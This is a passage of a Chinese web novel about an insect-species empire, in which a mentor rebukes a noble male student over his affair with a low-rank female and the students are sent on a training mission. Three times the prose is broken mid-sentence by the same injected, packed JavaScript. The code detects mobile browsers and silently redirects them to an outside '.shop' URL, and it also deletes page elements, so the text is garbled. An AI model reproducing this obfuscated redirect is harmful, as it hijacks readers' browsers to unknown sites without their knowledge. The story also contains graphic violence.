在外,与未婚雌君终究是一体的。这段关系尚未终结,就必须要维护表面。 “谁不辛苦?这是军雌该做的。”佐尔安反驳,“这么多军雌都能一边征战一边维系家族利益,怎么就他墨尔庇斯做不到?要我说,他要是连这点平衡都维持不了,不如早些从军团长的位置上退下来,让给更有能力的虫。” “佐尔安。”门外声音响起,佐尔安、雪因立刻回到座位,端坐起身姿。 “莫里亚斯老师好”雪因和佐尔安乖巧开口,仪态无可挑剔。 进来的雄虫拥有一头流泻至腰际的银白色长发,眼眸比寻常的紫色更深邃,目光扫过并不带审视的意味,却像是能穿透表象,直抵灵魂深处。 他是雄虫协会会长,帝国权柄顶端的执掌者之一,与皇室、军部三分帝国权柄的顶级雄虫,同时也是所有S级雄虫的导师——莫里亚斯。 他身后,另外两名同行的雄虫也相继步入。虽不及导师,却也拥有着顶级血脉独有的精致容貌。不着痕迹地朝雪因他们眨了眨眼,交换了一个眼神,随即安静地在自己座位落座。 “雪因,”莫里亚斯优雅地立于四位尊贵的雄虫面前,指尖随意向左上方轻点,一道泛着微光的虚拟信息板瞬间在空气中浮现。“这次代表雄虫协会参与军校开幕,有什么发现?” 雪因从容起身,向导师致意,“回老师。莱昂图特家族此次仅派了三名旁系子弟入学,且天赋平平,这与其家族实力不符。我认为,这是军团长在主动避嫌,避免给人‘军权世袭’的口实,姿态做得很足,也相当聪明。” “第二军团长威尔克斯家族与议会财政委员会主席霍恩海姆家族走动异常频繁。霍恩海姆家族此次破格录取的五名子弟中,有三名的测试成绩存疑,疑似与威尔克斯军团长施加了影响有关。这两家勾结,目的可能是为了在明年军费预算案上联手,一个要钱一个批钱。” “还需要重点关注一个平民,名叫凯尔.斯特林。他出身采e级矿星,身份资料干净得过分,但精神力凝练程度远超同期。我怀疑他背后有势力在洗白他的身份,并将其塞入军校,意图不明。或许是某些虫培养的‘暗子’。”雪因语调平稳,应答如流。将这段时日,除开与诺伊斯耳鬓厮磨之外所洞察的各方动向,条理分明呈于师前。 “分析得很全面。”莫里亚斯轻轻颔首,指尖在虚拟板上优雅地划出一道弧线,将雪因提到的几个关键点串联起来。“莱昂图特家族在避嫌,威尔克斯与霍恩海姆在勾结,还有一个来历不明的天才……” “那么,佐尔安,”他的目光转向金瞳雄虫,“威尔克斯,第二军团军团长,其雄主是你们的学长亚撒.维斯特,于去年完婚。而今年,威尔克斯便宣布将于年底再立一位雌君,来自霍恩海姆家族,正是那位掌握财政委员会副主席的继承人,你怎么看?” 他的指尖在虚拟板上一点,勾勒出两个家族的联系线。 佐尔安收敛了嬉笑,站起身:“老师,我认为威尔克斯此举,是在公然挑衅雄虫协会的权威,并试图模糊雌君与雌侍的界限。他利用亚撒学长精神力受损、记忆不清的弱点,哄骗其同意再立雌君,实质是为了捆绑霍恩海姆家族的财政势力,为他的第二军团和明年竞选铺路。” “分析对了方向,但不够深刻。”莫里亚斯点评道,目光扫向另一名雄虫,“洛佩卡,你呢?” 坐在中间,一直显得漫不经心的黑发雄虫洛佩卡懒洋洋地耸耸肩:“要我说?两个都是蠢货。雄虫协会鼓励军权与财权结合,但主导权必须在雄虫手中。而像威尔克斯这样,愚弄一位失忆的S级雄虫,来达成自己肮脏的政治交易。这简直是在挑战制度,掘我们所有顶级雄虫立足的根基。而亚撒学长…” 他嗤笑一声,“更是丢尽了我们S级雄虫的脸,连自己的雌君都掌控不住,轻易被玩弄于股掌,让人失望。身为顶级雄虫,该有维/稳上层的自觉,而不是成为破坏规则的工具。” “精准。”莫里亚斯轻轻颔首,最后,那深不见底的目光再次落回雪因身上,带着无形的压力,“那么,你呢?雪因.维斯特冕殿下?对于这种…挑战制度的行为,你怎么看?” 雪因一怔。 如果威尔克斯的行为算“挑战制度”,那他和诺伊斯…简直是在颠覆制度。一个耗费帝国海量资源培养的S级雄虫,未来注定要站在权力顶峰的存在,却和一个连雌奴之位都够不上的B级雌虫纠缠不清… 果然没什么事能瞒得住这位站在帝国最高位置的雄虫。 他低垂下眼眸,纤长的白色睫毛掩盖了其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513809|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的慌乱,没有解释,也无法解释。 “雪因,”莫里亚斯的声音温和,却也带着巨大压力,“你刚才的分析很出色,对各方势力的动向把握得很准确。作为一个旁观者,你能够如此清晰地洞察威尔克斯对规则的践踏……” 他微微前倾:“为什么轮到自己的时候,就明知故犯了呢?” 佐尔安见状,立刻再次起身,试图解围:“老师,墨尔庇斯军团长昨日刚返回帝星,雪因想必是累了…”说罢,他暧昧笑笑。 莫里亚斯老师皮笑肉不笑地看向雪因身上:“是么?维斯特冕殿下,需要您的同窗如此为您辩解?” 雪因攥紧了置于膝上的手,指尖微微发白。“……抱歉。” “抱歉?”莫里亚斯的声音冰冷,“帝国倾注资源培育你们,是为了什么?你们的雌君在军部掌握实权,又是为了什么?一场交易,一场维系帝国根基的同盟:你们提供基因与光环,他们献上忠诚与武力;你们在内掌控权柄,他们在外浴血征战。这才是规则!” 他踱步到雪因身边:“底层雌虫在次级星球挣扎,在战场上搏杀,用军功换来向上攀登的资格,而你现在却告诉它们——不必那么辛苦,只要得到S级雄虫的‘偏爱’,就能一步登天?要是这条路真被走通了,明天边缘星就敢出现逃兵!他们会为了一步登天,不择手段地涌向你这样的雄虫!届时,帝国的根基将不再是忠诚与战功,而是谄媚与床笫!” “老师,您这话说得太重了,”佐尔安忍不住插嘴,试图缓和气氛,“不过是在外面玩玩,再说了,墨尔庇斯那家伙整天冷着张脸,还不许我们雪因找个知冷知热的了?” “噢?只是玩玩?”莫里亚斯挑眉,视线转向雪因,那目光仿佛已将他彻底看穿,“把你那枚代表维斯特冕家族雌君身份的徽章,随便送给一个B级雌虫——这也是你‘玩玩’的一部分吗?” 雪因的脸色煞白。佐尔安和洛佩卡也收敛了戏谑的神情,不敢吱声。 莫里亚斯继续说:“雪因,你一向聪明,你告诉我,一个能把象征军团忠诚的雌君信物,随手送给情人的继承者,让我如何相信,他能分清何为‘玩玩’,何为‘颠覆’?” “我从未要求你们与雌君产生感情。恰恰相反,没有私人感情的羁绊,帝国才对你们的同盟更为放心。你们之间需要的从来不是爱,是绝对的掌控与制衡。是共同维系维斯特冕与莱昂图特两大家族的联盟,是确保第一军团未来的指挥权,能通过你们血脉的结合,‘正确’平稳地传承下去。” 雪因抬起头,脸色苍白,声音带着强忍颤抖的倔强:“老师,就因为他不是世俗定义的‘正确’,那他的存在、他的努力,就活该被全盘否定吗?” 少年的爱恋,炽热而纯粹,不掺杂任何权衡与利益。 所以,为什么要来指责我? 难道就因为你们成年虫的世界充满了算计与权衡利弊,懦弱地将这称之为“成熟”,就有资格趾高气扬地来审判少年的真心,来掩饰自身的懦弱了吗? “老师!我就是…” 我就是爱他!!! 成虫们总是不厌其烦地告诫他,要权衡利弊,要对家族负责。 那诺伊斯呢? 他就因为没有显赫的家族,没有所谓的“价值”,所以他的野心在成虫眼中就是包藏祸心、他的示好就是别有用心的狡猾、他的亲近就是不知廉耻的勾引,他本身就是原罪么? 如果这世上的一切都必须用“价值”来衡量,那么有一天,当更有价值的选择出现时,我雪因.维斯特冕,是否也会成为那个可以被随意替换的“次品”? 凭什么?! 11. 第 11 章 “够了!”他向前一步,阴影笼罩着雪因。 “这是维系帝国运转的规则!你雌父不惜辞职为此努力数百年才与你雄父诞下你这么一个雄子,整个顶级圈子都默认你们是天生一对。你现在告诉我,你要为一个B级雌虫,掀翻这张桌?” 他猛地背过身去,强压着怒火踱至窗边,望着外面被精神力恒定的、完美得不真实的阳光与世界。 什么爱情!什么个人意志一派胡言,他只看到虫族的未来要完!! 莫里亚斯深吸一口气,转身开口,面上已是一片冰冷,眼底翻涌着深沉的失望与厉色,“你觉得不公?觉得你那珍贵的‘感情’被规则扼杀了?” 他扯出一个没有温度的笑,声音不高,带着重重压迫,“好,那我问你——” “如果我们放纵每个虫都去追寻所谓的‘个人价值’,谁来保证边缘星系的矿产产出?谁来用血肉之躯抵挡星兽?那些雌虫每天工作十八小时才能换来一支劣等营养液,他们不想追寻‘价值’?前线战场,每一秒都有军雌被星兽撕碎,他们不想活着回来,享受你所谓的‘正确’生活?” “他们想!”莫里亚斯的声音骤然拔高,俊美眉宇间一片阴沉。 “但他们不能!因为帝国承受不起亿万个‘想’。正是这套规则,逼迫出他们极限的力量,才维系了帝国脆弱的平衡!规则之所以是规则,就是因为它用最残酷的方式,筛选出最强大的基因,最坚韧的意志,最忠诚的战士,去支撑整个文明的延续!你脚下踩的每一寸土地,你呼吸的每一口空气,都是这套规则构建的!” “你现在觉得,你那份不容于世的‘感情’,比这套运行了亿万年的规则更‘正确’?比无数雌虫用尸骨垒起的晋升之路更‘珍贵’?——还是你觉得,你可以利用自己的特权,随意将一个底层雌虫扶上本不属于他的高位?” “老师,您这话越说越重了,”佐尔安忍不住插嘴,试图用惯常的轻佻缓和可怜弱小无助的同窗,“墨尔庇斯那家伙整天冷着张脸,还不许我们雪因找个知冷知热的了?等他玩腻了……” “玩?”莫里亚斯锐利的目光扫过佐尔安,最终落回雪因身上,“佐尔安,你的雌君是你自己选的,所以你可以‘玩’。但雪因,你和墨尔庇斯,从来不是选择,是注定。从你破壳的基因序列被确定,从他成为第一军团无可争议的继承人那一刻起,这就已经注定了。” “若你只是个A级,甚至像他们三个一样的普通S级,我都可以睁只眼闭只眼。但你呢,雪因?你出生时消耗了三千六百一十二个S级雌虫的精神力才稳住确保你顺利活到成年。我们虫族,在茫茫宇宙中远非最强,帝国将资源倾注于你,不是为了让你像普通雄虫一样无需承担职责、沉溺情爱——是要你用和墨尔庇斯的基因,去冲击虫族的上限!是撬动整个种族的未来!” “特权真正的代价,从来不是你得到了什么,而是你必须牺牲什么。” 莫里亚斯逼近一步,字字诛心:“帝国需要你们的后代来稳定军部,莱昂图特家族需要你的血脉来延续辉煌,而你的雄父家族,需要这场联姻来确保在未来半个世纪里,帝国的权柄依旧牢牢握在手中。所有人都在等着你们结合,所有人都在期盼那个能撬动虫族未来的虫蛋诞生。” 他定定看着雪因微微泛红的眼尾,看着他因压抑而轻颤的肩膀,多年的师生情让他语气缓和一瞬,“不要被无用的感情操控。至于你心里那个……” 他略一停顿,终是给了丝余地:“等你和墨尔庇斯的长子破壳,等他能在你的‘偏爱’下活到那时。届时,如果你还觉得他有趣,我以会长之名向你承诺,雄虫协会会‘帮助’他,得到一个雌侍的名分。” 教室静默。 半晌,佐尔安似乎无法忍受这种沉重,用胳膊肘轻轻撞了一下身旁的雪因,试图活跃气氛,小声嘀咕道:“……其实像我一样,掌控得很好就没事了。”他得意地挑眉,“我雌君就很听话。我想怎么娶就怎么娶。” “处得好和把人当狗遛是两回事,”莫里亚斯冷冷瞥去,“给予必要的尊重,佐尔安。维系体面,也是你们最基本的功课。” 佐尔安摸了摸鼻子,旁边的洛佩卡发出一声毫不客气的嗤笑。 “笑什么?”莫里亚斯目光扫过另外两人,“洛佩卡,还有你,兰斯。以为能置身事外?” 被点名的兰斯立刻叫屈:“老师,我可一直兢兢业业为协会工作!接触的都是各军团的顶尖雌虫,分明是他们想方设法要‘优化’我的基因,我这可是在为帝国血脉的延续无私奉献啊。” 洛佩卡则懒洋洋地接话:“老师,我是在笑,若按您训斥雪因的这套标准来衡量,我们四个…大概都得去回炉重造一遍。”他意有所指地扫过众人,“毕竟,在座的谁还没点…无伤大雅的小爱好?” “看来你们都很懂得如何‘团结互助’”莫里亚斯的声音里带着明显的讽刺,“那就把这份心思放在正事上。” 他环视四人,逐一敲打: “佐尔安你我就不说,等你把雌君逼急了,可别找我哭。还有洛佩卡,你跟陛下那点风流韵事,别再传得满城风雨,皇室威严不是你能拿来消遣的。” 目光定格在试图降低存在感的兰斯身上:“雄雄恋在帝国行不通,把你那点心思收起来。” 雪因闻言愣住,下意识地和佐尔安、洛佩卡一同看向兰斯,眼神里充满了惊恐与探究:“……?” 兰斯立刻举手投降“纯欣赏,绝无实操!老师,兔子还不吃窝边草呢。” “窝外也不行。” “既然今天一个个都心浮气躁,那就都去训练场醒醒神。脑子和肌肉,总得有一个在状态,今天就用后者来弥补前者的缺失。” “好好用身体去记住,何为‘自觉’,何为‘制度’。” 兰斯、佐尔安、洛佩卡:“……” “老师,”佐尔安试图最后的努力着,笑嘻嘻地讨价还价,“也许……让雪因一个人去深刻反思就够了?我们可以留下来继续聆听您的教诲!” 微笑可以是一种礼貌,也可以是一种警告。 不等他们反应,莫里亚斯修长的指尖在空中轻轻一划。四只雄虫脚下的空间瞬间塌陷,形成一个漆黑的洞口,雄虫们连惊呼都来不及发出便坠了下去,只残留着两声短促的惨叫。 …… “莫里亚斯阁下。”洛迦南轻轻敲门,出现在门外。 “噢?洛迦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513810|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南。”莫里亚斯坐下,周围教室的景象如水波般消散,场景瞬间转换成雅致茶室,屋内萦绕淡淡茶香。 “尝尝?”他执起茶壶,将一杯热气袅袅的清茶推至对面空位。 洛迦南缓步走近,依言落座,端起茶杯轻抿一口。“是您从这次出行的星球带回的?” “嗯,那边出现雌虫暴动,拟态信息素失效…他们杀了我们一位派驻当地的B级雄虫。” 洛迦南端着茶杯的手一顿。 “拟态信息素需要配合雄虫自身的信息素才能被最大化激发。每一位由我们雄虫协会下方到小世界的雄虫,都起到稳定那一片区域的作用。”莫里亚斯放下茶杯,怔怔看向浅黄的茶叶“那个孩子脾气不算好,但他手里从没出现过虫命,释放信息素毫不吝啬,只是…那天放得信息素多了些,脾气坏了些,被几个雌君联手杀了。” 莫里亚斯闭上眼,缓缓吐了一口浊气,“杀了那孩子的几个高级雌虫没有死,但整片区域缺少雄虫信息素崩坏,死了三千万只虫。呵。” “节哀,阁下。”洛迦南沉默片刻,低声道。 “不该对雌虫仁慈,”莫里亚斯睁开眼,眸中一片冷寂,“这些雄虫崽子们天生体能比不过雌虫,若不用长久以来建立的规则与惯性加以制衡…” “算了。墨尔庇斯想和我说什么?你特意进来,是他让你传话吧?”他看向洛迦南。 洛迦南放下茶杯,如实禀报:“是。他说,您若无事,不妨去管好议会。” 莫里亚斯“……” 他先是无言,随即低笑起来,“行啊,他自己不教,我说上他家雪因两句又开始急了是吧?平时不见他多上心,一说他的崽子两句,倒护起来了。” “军团长阁下面上不显,内心还是在乎殿下的。” “呵,在乎?该教不教,一味惯着,把雪因惯成什么样了?感情用事,将个人私情凌驾于制度之上,明知故犯,屡教不改!早知道当年就不该让他养…” 话音未落,莫里亚斯迅速抄起茶几漂亮飘逸转身闪开——只见他原先所在的位置,已经被一道凌厉的精神力劈下,在地面留下一道深痕,残留着强大的威压。 “行了行了,说两句都不行?”他看向虚空挑衅着,“五天,完完整整还你!他们需要锻炼。” 空气凝固几秒,威压散去,连带着地面被劈开的位置也开始慢慢恢复原状。 莫里亚斯冷哼一声,将茶几稳稳放回原位,若无其事地重新斟茶。指尖轻点茶几,幽紫屏障从他身上展开,将整个茶室笼罩隔绝。 “墨尔庇斯精神力倒是越发强悍了,都能轻易入侵克斯安蒂星。”他将原先那杯茶再次推向洛里南,自己则重新取杯,又从虚空中取出一罐晶莹的蜂蜜,舀了些许融入茶中。轻轻搅拌,茶香混合着丝丝甜腻逸散开来。他抿了一口,满足地闭上眼,发出一声舒适的叹息,“雄虫果然还是更喜欢甜一些的。” 洛迦南一言不发,只是静静陪坐。 “别愣着,把昨晚的事,仔细同我说一遍。” …… “噢?事后,他自己去了刑罚室领罚清醒?啧。” “……,雪因。”莫里亚斯嘴里念叨着,所有所思。 12. 第 12 章 阿斯达里密林 【恭喜诸位,经历重重磨难后,终于到了最后一步……】 “嗯?”佐尔安挑眉,用手肘不轻不重地顶了下身旁洛佩卡的胸膛,“磨难?我们雄虫什么时候经历过这种东西?我觉得最近日子过得挺爽的还。” “安静点。”洛佩卡推开佐尔安的手,仔细阅读在半空中徐徐展开的浅蓝色光幕,“让我看完规则。” 兰斯依靠着身后的古树,双手环胸,满脸不耐,头顶还有着刚从黑洞掉出没来得及调整姿势,狼狈擦过树梢沾着的两片落叶。 雪因则站在不远山崖处静立,微风缠绕着他清瘦的腰身,雪白的长发在微风中拂动,勾勒出少年特有兼具柔韧与脆弱的线条。 他垂眸凝视下方无边的林海,雪色长睫如垂死蝶翼般轻颤,挣扎在即将坠落的边缘。眼中的蓝沉淀着过于浓重的郁色,竟透出一种不该出现在顶级权贵身上的破碎感。 兰斯的脚步声由远及近,最终停在他身侧。 “别太在意,”兰斯停在他身侧,语气轻松,“老师的话是说重了些。不过是娶个雌侍玩玩,你去服个软,这事就过去了。” “……不是玩玩,”雪因没有回头,眉宇间笼着一层郁色,“我是真的想娶他。” 兰斯叹了口气,上前一步揽住雪因肩膀,凑到他耳边,目光看向密林压低声音:“你清醒一点。我们这样的身份,婚事什么时候由得自己做主?等墨尔庇斯生下继承人,到时候你再把他收作雌侍…反正那家伙常年不回来,你把小情虫放在身边,不也一样?雌君雌侍,不过是个叫法。” “我做不到。”雪因垂下眼眸,望向脚下无边的林海,微不可查叹息。爱是什么?应当是排他、是唯一、是灵魂深处容不下一点瑕疵的绝对纯粹。 兰斯神色一凛。他松开手,转到雪因面前,语气变得严肃:“雪因,别钻牛角尖。协会的手段你是知道的,他们绝不会允许你‘失控’。到时候,他们有的是办法……”他顿了顿,“比如,清洗掉你所有关于他的记忆。而你的小情虫,要是这事被捅出去,他绝对见不到第二天的太阳。” 雪因沉默良久,眼底那点微光彻底黯了下去。 “……我知道,是我的错。我会……和他分手,补偿他。” 话音落下的瞬间,空中浅蓝色的光幕适时展开。 【本次任务目标:从‘勇者’手中接管其击败邪恶势力后所获得的‘宝物’。】 “噢~”洛佩卡歪头端详着光幕,透露一丝了然,“就是让我们去抢的意思。” “有意思。那么勇者是什么玩意?”佐尔安立刻凑了过去,两人一起研究起规则。 雪因没有回头,轻轻闭眼将那些纷乱纠葛的情绪强行压下。 注意力完全集中,感官便向外界无限延伸,空气中流动的信息素不断传来信号。 “是雌虫。”他睁开眼,眼眸里已不见迷茫与脆弱,语气平静宣布。 兰斯、佐尔安、洛佩卡三人同时愣住,满脸问号。 “哎哎哎,”佐尔安和洛佩卡对视一眼,挑了挑眉,“来看看,我的尾钩还在么?雌虫?我们要去跟雌虫抢东西?” “嘿嘿,”洛佩卡一巴掌狠狠拍在佐尔安尾脊下方,顺手捏了一把,“在在在,大得很。”两人推搡着嬉笑。 “我就这么勾勾手指,”佐尔安扬起下巴,骄纵地笑,“他们就会跪下来摇着尾巴把东西捧上来。唔…我更喜欢让他们用牙齿叼着递过来,接过的时候还能顺势探入他们的唇间,感受他们…隐忍、温顺。” 洛佩卡狡黠看了佐尔安一眼,语气上扬:“只是把手指么?” “哇哦,你和陛下也玩这么大么?”佐尔安嘴张成O型望向他,露出了然挑眉嘿嘿了两声,撞了下洛佩卡的肩膀,“想不到啊~” “别闹了,”兰斯开口打断这两只没心没肺的雄虫,“老师才不会这么轻易放过我们。” 洛佩卡、佐尔安缓缓转头看他,极有默契地后退半步,交换了个意味深长的眼神。洛佩卡还不自然地抬手,把原本松垮的衣领往上提了提。 兰斯“?” 他先是一愣,随即意识到他们在想什么,整张脸瞬间涨红。 “喂喂喂,我都说了只是欣赏!纯粹的!欣赏!懂吗?!我对雄虫根本没有兴趣!不对!老师根本就是在污蔑我!我只是多看了一眼而已!!!” “嗯嗯嗯。” “懂,都懂。”洛佩卡、佐尔安敷衍地点头。 空中虚拟屏幕再次刷新。 【本次身份配置:亚雌。】 …… 兰斯、佐尔安、洛佩卡:??? 佐尔安脸上那戏谑调侃的笑容瞬间冻结僵住,他用力眨了眨那双漂亮金眸,几乎以为自己出现了幻觉:“……什么?亚雌?是我理解的那个意思吗?柔弱、无力、处在社会链底层的亚雌吗?我们???” “不然呢?这里还有别的‘我们’吗?”洛佩卡带着一丝难以置信,他猛地指向佐尔安,又指向自己,“所以我们不仅不能靠‘睡服’那群饥渴的雌虫拿到宝物,反而可能被他们——”他咽了口口水,说出了那个可怕的词,“……给睡了?!” 兰斯迅速伸出拳头,狠狠砸向身旁的巨树,砰的一声闷响,他随即倒吸一口冷气,检查拳头却没有伤痕,“唔…痛觉保留,但协会覆盖在我们身上的护盾还在。协会果然没打算让我们受伤,” 他扯了扯嘴角,耸肩,“但‘受苦’和‘受辱’,看来是免不了了。” 【祝诸位任务顺利。】光屏闪烁,无情地消散在空中。 随之而来一阵带着淡淡蓝光风吹过。 全员浑身统一变成黑色作战服,黑色打底外黑金色肩带勾勒出优美线条,他们左臂佩着相同的标志,手上的黑色手套稳稳持枪。工装裤上右腿都扣着一条黑色战术腿环,露出笔直小腿,仅仅只在腿环处有一把锋利的匕首。 佐尔安低头,难以置信地看向这身行头,随即发出一声短促的冷笑。 “好好好,就给这个代替尾钩是吧?”他泄愤般一把抽出匕首,扯下一根头发往刃上一吹,发丝断成两截,“倒还行。” “还行?你的意思是说我们得拿这个短短一截匕首,去和两米多高壮得像堵铁墙的雌虫抢???”洛佩卡不淡定了,他绝望地瞥了匕首一眼,猛地抬头望向天空,悲愤交加地大吼,“老师!!!!我觉得我的文化课还有巨大的提升空间!!!我还得给陛下守身啊!!!!” 开玩笑,他们这四小只可怜无助又脆弱的‘亚雌’去跟雌虫抢雄虫和羊入虎口有什么区别。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513811|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他试图唤醒老师的良知,显然失败了。 密林只回荡着他的绝望的声音。 雪因看向远方,慢慢伸出手,掌心朝上捕捉风中的信息,“这个训练场屏蔽了雌虫的精神力,他们在被持续消耗…”说着望向血腥味飘来的远方,补充道,“大量星兽正朝他们那边涌去。” “就算雌虫精神力被屏蔽了我们也打不过啊…等等!”佐尔安转向他,满脸疑惑,“你怎么会知道?……在屏蔽状态下还能感知到这些?” 雪因轻笑,“信息素和精神力,本质上是同源的能量。像老师那样强大,一般可以将信息素当精神力运用,而我们大部分雄虫,更擅长用信息素‘反向’影响雌虫。” “反向操控?”洛佩卡歪了歪头。 “对,如果雌虫的等级远高于我们,理论上,他们也能迫使雄虫…” “发情?”佐尔安立刻接话,带着一丝惊惧,“通过操控雄虫的信息素,来间接操控其他护雄心切的雌虫?” “那可真是太可怕了,难怪我们这些顶级雄虫都要被严密保护在帝星。” “这是双向的,”雪因肯定道,“雄虫同样可以。我们能在不使用信息素的情况下,通过本能捕捉空气中逸散的精神力波动,进而反向使用它们。而这一点雄虫往往更……‘熟练’。毕竟,我们总需要‘练习’如何掌控雌虫。而雌虫的精神力,更多源于自身内在的爆发。” “别说理论课了,”兰斯打断他们,直接切入最核心的问题,“等级呢?雪因你能‘看’出来吗?” 雪因沉默片刻,报出精确的数字:“一共200只雌虫。28只S级,164只A级,还有8只B级。” 兰斯、佐尔安、洛佩卡:…… 佐尔安绝望冷哼了一声,调整了个舒服的姿势背靠树坐下,“好吧。那就让他们先互相消耗,等到了最后时刻,我们再去抢就好。” “但是,”雪因再次平静发言,“我猜得没错的话,那个需要接管的‘宝物’是……一只A级雄虫。” 兰斯、佐尔安、洛佩卡瞬间僵住,眼神里写满难以置信。 “你的意思是——”洛佩卡的声音都变了调,他指着自己的鼻子,又震悚指向下边密林深处,“我们,顶着这废物亚雌的身份,要去跟那群杀红了眼的雌虫,抢一只!尊贵无比!碰一下都可能会被他们撕成碎片的!雄虫阁下吗?!!” 虽然平时享受特权很爽,但是要是这个特权在对立面,就要死掉了啊啊啊! “嗯,在此之前,我们还得穿过这片密林,雌虫们距离我们一千公里。”雪因回头,表情也有些凝重起来。 佐尔安嘴角抽搐,“你们知道的,我很少用歹毒来形容一个任务。” “呵。我们还没有物资。”兰斯冷笑,耸了耸肩。 洛佩卡仰头看了看逐渐暗淡的天色,绝望地补充:“根据云层和气压判断,晚上还会大幅降温,甚至下雪。” “雪因啊…”三道哀怨的目光幽幽看过来。 “…抱歉,是我连累大家了。”雪因抿唇,微微低头带着内疚道歉。 “哼,知道就好,当然都是你的错。”佐尔安抱着手臂哼唧一声,“走吧,天快黑了,至少先找点能生火的东西,免得没被雌虫撕碎,先冻死在这个鬼地方。” 13. 第 13 章 “诺伊斯!” 沃特双手如铁钳般拽住诺伊斯衣领,将他狠狠砸向后方巨树。沉闷的撞击声响起,诺伊斯闷哼一声,嘴角当即溢出一道血迹。 即使如此沃特仍不解气。仗着健壮体型和S级雌虫的天然优势,就算被屏蔽了精神力,强横的肉/体力量依旧能轻易碾压对方。精神力化作淡色虫纹在他手臂上隐隐浮现,他嘴角勾起一抹狠厉的弧度,再次掐住诺伊斯的脖子将他举到半空。 雌虫之间等级压制是致命的,不止阶级,还有与生俱来的等级差距。 高等级雌虫与高等级雄虫结合,才能诞下同等优秀的后代;而低等级的普通雌虫想要更强的子嗣,只能用一辈子挣来的军功向圣殿换取高等级虫精。 然而没有雄虫信息素的滋养,虫蛋最高等级只能到A。 但这已经是底层雌虫毕生的梦想——只要后代能达到A级,就意味着不仅能上战场赚取更多军功,甚至有机会进入帝星,成为那些出身贵族却等级不高的雄虫的雌侍,互相优化基因,让家族血脉逐渐提升。 就算什么不做,S级的威压都能让仅仅只有B级的诺伊斯伏地颤抖,沃特肆无忌惮使用着力量。 诺伊斯双脚悬空,只能无力地挣扎着,徒劳地抓挠着他的手,大口大口喘息着。 沃特冷眼看他挣扎,随即一把将他狠狠砸向地面,扬起一道劲风。树叶飞溅,力道大到让周边地面裂开。 他从口袋抽出白手帕,慢条斯理地擦拭刚才碰触过诺伊斯的手指。 诺伊斯则猛地吐出一口血,狼狈地喘息着在地面蜷缩成一团。 “该死的贱虫,”沃特审判着,“你利用我勾引维斯特冕殿下,这段时间过得很爽是吧?” 抬脚用靴底碾上诺伊斯染血的胸口,听着下方传来细微的骨裂声,靴尖上扬,迫使诺伊斯扬起一张混杂着泥土与血污的脸。 “你以为你是什么主角?把保护你的人支开、独自猎杀几头星兽就能证明自己?”沃特脚下加重力道,看到对方痛苦地挣扎,眼中闪过满意,“蠢货。帝星不兴你们垃圾星那套单打独斗、弱肉强食。在这里,讲究的是规则,懂吗?乡巴虫。” 规则。 与底层星截然不同的生存之道。上位者之间讲究合作共赢,从不会用单打独斗来证明自己强大的幼稚举动。 “咳咳。”诺伊斯艰难地喘息着,手指深深抠入泥土,“沃特…” “谁准你叫我名字?你配么?!”沃特抽脚猛踹他的腹部,将人再次砸向树干。树梢震动,落叶纷纷飘下盖住诺伊斯,平日嚣张不再,却显出一种异常脆弱、奋力挣扎的美。 诺伊斯捂住腹部,抬眼看向沃特,眼神挑衅,胸口还有着大片血迹,狼狈不堪,紫眸却燃烧着近乎妖艳的颜色。他低低笑起来,笑声中带着血沫。 “你笑什么!”沃特不耐眯起眼睛,一脚踹断旁边需两人环抱的古树。 “这…咳咳、不是你要的么?”诺伊斯咳着血,手背漫不经心擦过唇角,扯过伤处让他一阵身体不自然抽搐着。 他强装镇定,或者说没办法。是他轻敌不知道这次沃特也在特训之中,他以为沃特看在雪因的身份不敢对他下手,却低估了对面这个蠢货。 “是您亲手将我推入殿下休息室的。” “您的家族…”诺伊斯忍不住再次大口吐血,却毫不在意地用手背抹去精致的脸上闪着阴鸷的光,即使被压制也毫不显弱势,“好不容易得到这次接近殿下的机会,让您去…临门一脚您害怕了。” 他歪歪头,露出嘲讽,“您知道,若是殿下拒绝,您必死无疑。所以您需要一只替死鬼,一条忠实的狗去试水…我说得对吗,尊贵的沃特少爷?” “闭嘴。”沃特双眼赤红,语气凶狠且理直气壮,“那是你这种贱虫该做的,让你做是你的荣幸。再说,那天为什么你会出现在我身边?等这个机会已经很久了吧?” 贵族里从没有真正的蠢货。即使当时被恐惧掌握了情绪,事后沃特也很快反应过来,这事事露出蹊跷。从一开始家族传来信息他毫不避讳地与这个来自底层伏小做低的雌虫谈论家族计划,到后来诺伊斯不断吹捧着他能力强能得到家族重视,一边状若无意地提醒——“万一殿下动怒…不过以您家族的势力,最多也就是断几条腿一辈子在轮椅上,总不至于丧命…” 他害怕了。 